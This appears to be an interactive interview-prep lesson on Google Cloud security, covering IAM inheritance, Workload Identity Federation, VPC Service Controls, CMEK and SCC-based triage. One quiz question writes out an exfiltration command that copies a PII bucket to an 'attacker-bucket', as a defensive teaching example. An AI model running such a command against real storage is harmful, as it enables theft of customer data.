GCP Security Interview Questions and Answers (2026)

Most engineers think…

Most candidates say "GCP IAM is basically AWS IAM, and service-account keys are fine" — and the interview quietly ends there.

Both halves fail you. GCP IAM is hierarchy-inherited and resource-centric — policies flow Org → Folder → Project and grants are additive, nothing like AWS allow/deny statements. And downloaded service-account keys are a top breach vector: the right answer is Workload Identity Federation with short-lived credentials. Plus GCP's signature anti-exfiltration control is VPC Service Controls, not just a firewall. This lesson trains the framing that gets you hired.

① IAM & the resource hierarchy

This is where every GCP security interview starts — and where the AWS-trained candidate trips. GCP IAM is hierarchy-inherited and resource-centric. Everything lives under Resource hierarchy: Organization → Folder → Project → Resource. A role granted at the Org or Folder level is inherited by every project beneath it, and grants are additive — there is no implicit way to revoke an inherited role lower down.

Figure 1 — GCP IAM is hierarchy-inherited, not flat

Key interview point: inherited grants are ADDITIVE — a role at the Org level lands on every project beneath it. To take access AWAY you use Org Policy constraints or IAM Conditions, not a 'deny lower down' that does not exist by default.

The GCP security vocabulary every interview opens with

Know these four cold before anything else. Tap each card.

🏛

Resource hierarchy

tap to flip

Org → Folder → Project → Resource — IAM policies are set at any level and INHERITED downward; grants are additive, not subtractive.

🤖

Service account

tap to flip

A non-human identity a workload runs as. Downloaded SA keys are the danger — prefer Workload Identity Federation.

🧱

VPC Service Controls

tap to flip

A data-exfiltration perimeter around APIs (Storage, BigQuery). Blocks data leaving even with valid IAM — GCP's signature control.

🛰

Security Command Center

tap to flip

SCC — GCP's central CSPM + threat-detection plane: finds misconfigs and watches Audit Logs for active threats.

Roles come in three flavours. Primitive roles (Owner/Editor/Viewer) are project-wide and dangerously broad. Predefined roles (e.g. roles/storage.objectViewer) are the day-to-day best practice. Custom roles let you assemble an exact permission set. The crisp interview line: primitive = too broad, predefined = right default, custom = when you need surgical least privilege.

Quick check · Q1 of 10 · Apply

An auditor needs read-only access to view objects in one Cloud Storage bucket in the bank-prod project. What do you grant, and where?

a) roles/owner at the Organizationb) roles/storage.objectViewer at the bucket (or project)c) roles/editor at the projectd) A downloaded service-account key

Correct: b. Least privilege: grant the predefined roles/storage.objectViewer scoped to the bucket/project — not Owner, not Editor, and never at the Org level (it would inherit everywhere). A key is for workloads, not a human auditor.

👉 So far: GCP IAM = hierarchy-inherited (Org → Folder → Project → Resource), additive grants; primitive = too broad, predefined = default, custom = surgical least privilege.

The 'GCP IAM = AWS IAM' trap

Answer firmly: no. AWS attaches policies to users/roles with explicit allow AND deny. GCP IAM is resource-centric and inherited down a hierarchy, grants are additive (no per-policy deny by default), and you curb access with Org Policy constraints and IAM Conditions, not deny statements. Confusing the two is an instant red flag.

② Service accounts, Workload Identity Federation & least privilege

A Service account is the identity a workload runs as. The single biggest GCP breach vector is the SA key — a downloaded JSON private key. It is long-lived, ends up in Git, CI logs and laptops, and never expires on its own. The 2026 best practice an interviewer wants to hear: do not download SA keys — use Workload Identity Federation so an external workload uses its own IdP token and receives a short-lived GCP token instead.

▶ Watch a workload authenticate WITHOUT a key

How Workload Identity Federation lets an external workload (a GitHub Actions runner or an on-prem app) call GCP with NO downloaded service-account key. Press Play for the healthy path, then Break it to see the failure.

① External token issuedThe workload gets a token from its own IdP (GitHub OIDC / AWS / Okta) — no GCP key involved.

▼

② Token presented to STSThe workload sends that token to GCP's Security Token Service via the Workload Identity Pool + provider.

▼

③ GCP validates + mapsGCP checks the issuer + attribute conditions (e.g. repo == flipkart/payments) and maps it to a principal.

▼

④ Short-lived token returnedGCP returns a short-lived access token (≈1 hour) for the impersonated service account — nothing to leak.

Press Play to step through the healthy path. Then press Break it.

Figure 2 — A request reaching a GCP app — the layered controls

Two facts interviewers love: Cloud Armor protects the FRONT DOOR (inbound web attacks), while VPC Service Controls protects the BACK DOOR (an insider or stolen token exfiltrating data via the API). They solve different problems — name both.

COLOUR KEYdenied / exfil-blockedinspected / IAM-checkeddecision / perimeter pointallowed

Tighten access further with IAM Conditions (time-bound, resource-name-bound grants) and Org Policy constraints such as iam.disableServiceAccountKeyCreation, which block key creation org-wide regardless of who holds Owner.

Quick check · Q2 of 10 · Analyze

A GitHub Actions pipeline at Infosys needs to deploy to GCP. A junior engineer downloaded a service-account JSON key and pasted it into a CI secret. Why is the architect alarmed?

a) Keys are slower than tokensb) JSON is hard to parsec) The key is long-lived and leakable — if the repo or a log leaks, the attacker authenticates as that SA foreverd) The pipeline will run too fast

Correct: c. A downloaded SA key never expires and grants the SA's full access to anyone who obtains it — the #1 GCP breach vector. The fix is Workload Identity Federation: GitHub's OIDC token is exchanged for a short-lived GCP token, so there is no key to leak.

Pause & Predict

Does disabling SA key creation org-wide break existing workloads? Type your guess.

Answer: No — existing workloads keep using their current credentials; the iam.disableServiceAccountKeyCreation Org Policy only blocks NEW key creation. You roll it out alongside migrating workloads to Workload Identity Federation / attached service accounts, so nothing new can leak while you retire the old keys.

Rahul at TCS faces this

An audit finds 40 downloaded service-account keys across CI systems and developer laptops, several years old.

Likely cause

Long-lived SA keys with broad roles — any leaked key is a permanent backdoor with the SA's full permissions.

Diagnosis

Inventory keys via the IAM API / SCC; identify which workloads actually need them; check each SA's roles for over-grant.

IAM & Admin ▸ Service Accounts ▸ Keys + SCC findings

Fix

Migrate workloads to Workload Identity Federation (external) or attached service accounts (on-GCP); then set the Org Policy iam.disableServiceAccountKeyCreation and delete the old keys.

Verify

Re-run the SCC scan — zero user-managed keys; pipelines still deploy using short-lived federated tokens.

👉 So far: Service accounts run workloads; downloaded SA keys are the top breach vector → use Workload Identity Federation for short-lived tokens; tighten with IAM Conditions + Org Policy constraints.

③ Network security & data protection

Two layers interviewers always probe. First, the network: VPC firewall rules are stateful and matched by priority (0 = highest), with an implied deny on ingress; Hierarchical firewall policies let you enforce rules org-wide before project rules even run. Cloud Armor is the edge WAF/DDoS shield in front of your load balancer.

🖥️ This is the screen you'll grant access in — IAM & Admin ▸ IAM ▸ Grant access in the Cloud console. Fields ①②③ decide WHO gets WHAT, and WHEN.

console.cloud.google.com · IAM & Admin ▸ IAM ▸ Grant access

New principals *

sneha@flipkart.com

Resource level

Project: bank-prod

Assign role *

roles/storage.objectViewer

Second role

roles/logging.viewer

IAM Condition

resource.name.startsWith('reports-')

Condition expiry

request.time < 2026-12-31

Save Cancel

① Resource level matters — grant at the project, NOT the org, or the role inherits to every project. ② Pick a predefined role (objectViewer), never the primitive Editor. ③ The IAM Condition is least-privilege gold: this grant only applies to objects named reports-* and expires automatically.

But the firewall does NOT stop data exfiltration. That is the job of VPC Service Controls — GCP's signature control. VPC-SC draws a perimeter around services like Cloud Storage and BigQuery: even a caller with valid IAM and a stolen token cannot copy data out of the perimeter via the API. On the data side, Cloud KMS powers the three encryption models, Secret Manager holds secrets, and Cloud DLP (Sensitive Data Protection) finds and masks PII.

Figure 3 — VPC firewall rules vs VPC Service Controls

The one-liner that wins: a firewall stops the packet; VPC Service Controls stops the data leaving — even when the caller has valid IAM and is reaching api.storage.googleapis.com over the public internet.

Pause & Predict

All data in GCP is encrypted at rest by default. So why would a bank still configure CMEK? Type your guess.

Answer: Because default encryption uses Google-managed keys — Google controls rotation and you cannot disable them. CMEK puts a key YOU own in Cloud KMS as the key-encryption-key: you control rotation, you can disable/destroy it to make the data unreadable instantly, and key use is audit-logged. For RBI/PCI compliance the bank needs that ownership and the ability to revoke — which Google-managed keys cannot give.

Quick check · Q3 of 10 · Analyze

An attacker steals a valid service-account token inside a bank's VPC and runs gcloud storage cp gs://bank-pii/* gs://attacker-bucket/. IAM allows the read. What stops the exfiltration?

a) VPC Service Controls — the perimeter blocks the Storage API call to a bucket outside it, even with valid IAMb) A tighter firewall rulec) Cloud Armord) Rotating the SA key

Correct: a. A firewall filters packets, not API calls, and Cloud Armor only guards inbound web traffic. VPC Service Controls draws an API-level perimeter around Cloud Storage, so the copy to an out-of-perimeter bucket is denied regardless of the valid IAM token. This is exactly why VPC-SC exists.

Priya at an Indian bank faces this

Auditors demand the bank be able to instantly render customer-PII unreadable if a key is suspected compromised, and prove who accessed each secret.

Likely cause

Default Google-managed encryption gives no key ownership or kill-switch; secrets in plain config have no audit trail.

Diagnosis

Review which datasets use Google-managed vs CMEK keys; check whether secrets sit in Secret Manager with Data Access logs on.

Security ▸ Cloud KMS + Secret Manager ▸ Audit Logs

Fix

Move sensitive datasets to CMEK in Cloud KMS (own rotation + a disable kill-switch), store secrets in Secret Manager with CMEK + versioning, and run Cloud DLP to find stray PII.

Verify

Disabling the CMEK key instantly makes the data undecryptable; Audit Logs show every secret access by principal.

'The firewall will stop the leak' over-confidence

A firewall and Cloud Armor protect the network and the front door. They do nothing against an insider or a stolen token calling the Storage/BigQuery API to ship data out. Naming VPC Service Controls as the anti-exfiltration control — distinct from the firewall — is what separates a GCP-aware candidate from an AWS one.

④ Detection, governance & troubleshooting

Visibility is the final pillar. Security Command Center (SCC) is GCP's central security plane: its CSPM engine (Security Health Analytics) flags misconfigurations, while Event Threat Detection watches logs in near-real-time for active threats. The fuel for all of it is Cloud Audit Logs: Admin Activity logs are always on and free; Data Access logs are OFF by default and must be enabled to see who read data — a classic interview gotcha.

Figure 4 — Access denied — why? The GCP triage ladder

The fastest first check is the IAM Policy Troubleshooter — it tells you exactly which policy granted or failed to grant the permission, across the whole inherited hierarchy.

Pause & Predict

Why is enabling Data Access audit logs one of the first things you do for a security-sensitive GCP org? Type your guess.

Answer: Because Admin Activity logs only record configuration changes (who changed a policy), not data reads. Without Data Access logs you literally cannot prove who READ a sensitive bucket or BigQuery table — and Event Threat Detection has far less to work with. They are off by default (volume/cost), so for a regulated workload you turn them on deliberately, usually via Org Policy.

Arjun at Wipro faces this

SCC suddenly raises a 'Persistence: IAM Anomalous Grant' finding — a service account was granted roles/owner at 2 AM.

Likely cause

Event Threat Detection spotted an unusual IAM grant in the Admin Activity log — possible compromised credential escalating privilege.

Diagnosis

Open the SCC finding → pivot to the exact Audit Log entry: which principal made the grant, from which IP, and was it expected?

SCC ▸ Findings ▸ Event Threat Detection + Cloud Audit Logs

Fix

Revoke the rogue grant, disable/rotate the implicated credential, set an Org Policy to restrict who can grant Owner, and add an IAM Condition / alert on org-level role changes.

Verify

Re-check SCC — finding resolved; the anomalous grant is gone and Audit Logs show the remediation.

Triage an access-denied / governance issue from the CLI

gcloud projects get-iam-policy bank-prod          # who has what, here
gcloud org-policies list --project=bank-prod      # any constraint blocking it?
gcloud access-context-manager perimeters list     # is the API inside a VPC-SC perimeter?
gcloud compute firewall-rules list                # is the packet allowed? (10.0.0.0/24)

Expected output

ROLE                         MEMBERS
roles/storage.objectViewer   user:sneha@flipkart.com
CONSTRAINT: iam.disableServiceAccountKeyCreation  enforced: true
PERIMETER: bank_data_perimeter  restricted: storage.googleapis.com

Quick check · Q4 of 10 · Apply

A principal with the right IAM role still gets PERMISSION_DENIED calling the Storage API from a VM. IAM, you confirm, is fine. What is the next most likely cause to check?

a) The VM needs more RAMb) DNS is downc) The bucket is emptyd) A VPC Service Controls perimeter is blocking the API call

Correct: d. When IAM clearly grants the permission but the API call still fails, the usual culprit is a VPC-SC perimeter denying the request (or an Org Policy constraint). Use the Policy Troubleshooter for IAM, then check the perimeter ingress/egress rules — the access-denied ladder.

Kavya at HCL faces this

A data-science team is blocked from querying a BigQuery dataset; IAM shows they hold roles/bigquery.dataViewer.

Likely cause

IAM is correct, so the block is one layer up: a VPC Service Controls perimeter or an Org Policy constraint is denying the API call.

Diagnosis

Run the Policy Troubleshooter (IAM is fine), then list perimeters — is the caller's project / network inside the BigQuery perimeter?

IAM Policy Troubleshooter + Access Context Manager perimeters

Fix

Add the caller's project to the perimeter or write a VPC-SC ingress rule for that identity; if an Org Policy blocks it, adjust the constraint at the right node.

Verify

Re-run the query → succeeds; the SCC and Audit Logs show the access permitted within the perimeter.

Figure 5 — GCP security interview cheat-sheet

Tap the Preview button at the top to save this one-page card before your interview.

Prove it with the ladder, don't guess

Don't close a GCP access ticket on a hunch. Walk the ladder: Policy Troubleshooter proves the IAM role, org-policies list proves no constraint is winning, perimeters list proves the API is inside VPC-SC, and firewall-rules list proves the packet is allowed. These four checks answer almost every 'access denied — why?' on GCP.

👉 So far: SCC = CSPM + Event Threat Detection on Audit Logs; enable Data Access logs (off by default); triage access with the ladder — IAM (Policy Troubleshooter) → Org Policy → VPC-SC perimeter → firewall.

🤖 Ask the AI Tutor

Tap any question — instant, scoped to this lesson. No login, no waiting.

Pre-curated from Google Cloud docs + community Q&A, scoped to this lesson. For a live prod issue, paste your export into chat.techclick.in.

🧠 In your own words

Type one line: why is Workload Identity Federation safer than a service-account key? Then compare to the expert version.

Expert version: Because there is no long-lived secret to leak. A downloaded service-account key is a static JSON private key that never expires — if it lands in a Git repo, a CI log or a laptop, the attacker authenticates as that service account forever. Workload Identity Federation instead lets the external workload present its OWN identity token (GitHub OIDC, AWS, Okta), which GCP validates against attribute conditions and exchanges for a short-lived (~1 hour) access token. Nothing durable is stored on the workload, the trust is scoped to specific attributes (e.g. one repo), and credentials rotate automatically.

🗣 Teach a friend

Best way to lock it in — explain it in one line to a teammate. Tap to generate a paste-ready summary.

📩 Quiz me on this in 7 days. Opt in and we'll email 3 micro-questions on Interview Prep at Day 1, Day 7 and Day 30 — spaced repetition is how this sticks. Un-tick any time.

📖 Glossary

Resource hierarchy: Organization → Folder → Project → Resource. IAM policies set at any level inherit downward; grants are additive.
Primitive / predefined / custom roles: Primitive = Owner/Editor/Viewer (too broad); predefined = per-service (the default); custom = your exact permission set.
Service account: A non-human identity a workload runs as; holds IAM roles like a user.
Service-account key: A downloaded long-lived JSON private key — a top breach vector; avoid in favour of WIF.
Workload Identity Federation: Exchanges an external IdP token for a short-lived GCP token so workloads need no SA key.
IAM Conditions: Attribute-based limits on a grant — by time, resource name or request attributes.
Org Policy: Organization Policy constraints (e.g. disableServiceAccountKeyCreation) applied across the hierarchy; override IAM.
VPC Service Controls: An API-level perimeter around services (Storage, BigQuery) that blocks data exfiltration even with valid IAM.
Cloud Armor: Edge WAF + DDoS protection (OWASP rules, rate-limit, geo/IP) in front of the load balancer.
CMEK / CSEK / Google-managed: CMEK = your KMS key (you rotate/disable); CSEK = you supply raw key bytes per request; Google-managed = the default you cannot disable.
Security Command Center: GCP's central CSPM + threat-detection plane; Event Threat Detection watches Audit Logs.
Cloud Audit Logs: Admin Activity (always on) record changes; Data Access logs (off by default) record who read data.

📚 Sources

Google Cloud Documentation — Workload Identity Federation. docs.cloud.google.com/iam/docs/workload-identity-federation
Google Cloud Documentation — Overview of VPC Service Controls. docs.cloud.google.com/vpc-service-controls/docs/overview
Google Cloud Documentation — Customer-managed encryption keys (CMEK). docs.cloud.google.com/kms/docs/cmek
Google Cloud Documentation — Security Command Center overview. docs.cloud.google.com/security-command-center/docs/security-command-center-overview
Google Cloud — VPC Service Controls product page. cloud.google.com/security/vpc-service-controls
StrongDM — GCP IAM Roles: Basic (Primitive) vs Custom vs Predefined. strongdm.com/blog/gcp-iam-roles

What's next?

Cleared the GCP round? Keep going — the interview-prep library covers AWS, Azure, Zscaler, Palo Alto, Fortinet and more, all in the same hands-on style.

Next · All interview lessons → Practice on exam.techclick.in →

GCP Security Interview Questions — IAM, VPC-SC, KMS & Cheat-Sheet

🎯 By the end you will be able to

Pick where you want to start

IAM & hierarchy

Service accounts & WIF

Network & data

Detect & troubleshoot

① IAM & the resource hierarchy

The GCP security vocabulary every interview opens with

② Service accounts, Workload Identity Federation & least privilege

▶ Watch a workload authenticate WITHOUT a key

③ Network security & data protection

④ Detection, governance & troubleshooting

🤖 Ask the AI Tutor

📝 Wrap-up assessment — six more

🧠 In your own words

🗣 Teach a friend

📖 Glossary

📚 Sources

What's next?